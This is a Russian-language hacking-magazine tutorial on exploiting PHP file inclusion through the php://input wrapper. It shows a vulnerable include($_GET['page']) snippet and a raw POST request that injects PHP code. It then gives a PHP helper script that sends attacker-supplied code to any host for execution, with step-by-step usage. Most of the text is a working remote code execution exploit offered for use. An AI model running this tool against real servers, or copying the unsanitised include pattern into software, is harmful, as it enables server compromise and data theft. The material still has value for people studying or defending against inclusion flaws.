Еще в далеком 2004 году на SecurityLab был
опубликован способ, с помощью которого можно было выполнять
произвольный php-код посредством врапера php://input. Сейчас я
расскажу тебе, как это работает.

Итак, у нас есть уязвимый
файл, с таким содержимым:

<?php

if(isset($_GET['page'])) {
include($_GET['page']);
}

Когда мы передаем скрипту в параметре page php://input

http://www.example.com/index.php?page=php://input

то происходит считывание и выполнение данных, посланных
методом POST. Грубо говоря, весь массив POST становится файлом,
и include подключает его как обычный файл. Для проведения атаки
мы должны отправить специально сформированный пакет.

1. Сейчас мы отправим PHP-код методом POST:

POST /index.php?page=php://input HTTP/1.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
MyIE2)
Host: www.example.com
Connection: Keep-Alive
Cache-Control: no-cache

<?php phpinfo() ?>

В ответе сервера будет отображен вывод phpinfo().

2. Напишем PHP-скрипт для удобной работы со
средой.

<?php

if (isset($_GET['cmd']) && isset($_GET['host']) &&
isset($_GET['script'])) {
$host = stripslashes(@$_GET['host']);
$script = stripslashes(@$_GET['script']);
$cmd = htmlspecialchars_decode(stripslashes(@$_GET['cmd']));
$cmd = '<?php ' . $cmd . ' ?>';
$request = "POST /" . $script . "php://input" . " HTTP/1.1\r\n";
$request .= "Accept-Language: en\r\n";
$request .= "Content-Type:
application/x-www-form-urlencoded\r\n";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; MyIE2)\r\n";
$request .= "Host: " . $host . "\r\n";
$request .= "Content-length: " . strlen($cmd) . "\r\n";
$request .= "Connection: Keep-Alive\r\n";
$request .= "Cache-Control: no-cache\r\n";
$request .= "\r\n";
$request .= $cmd . "\r\n";
$socket = fsockopen($host, $port ? $port : 80);
fputs($socket, $request);
while(!feof($socket)) echo fgets($socket, 1024);
fclose($socket);
}
?>

3. Запускаем его следующим образом:


http://localhost/input.php?host=www.example.com&script=index.php?page=&cmd=phpinfo()

4. Наслаждаемся результатом :).

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …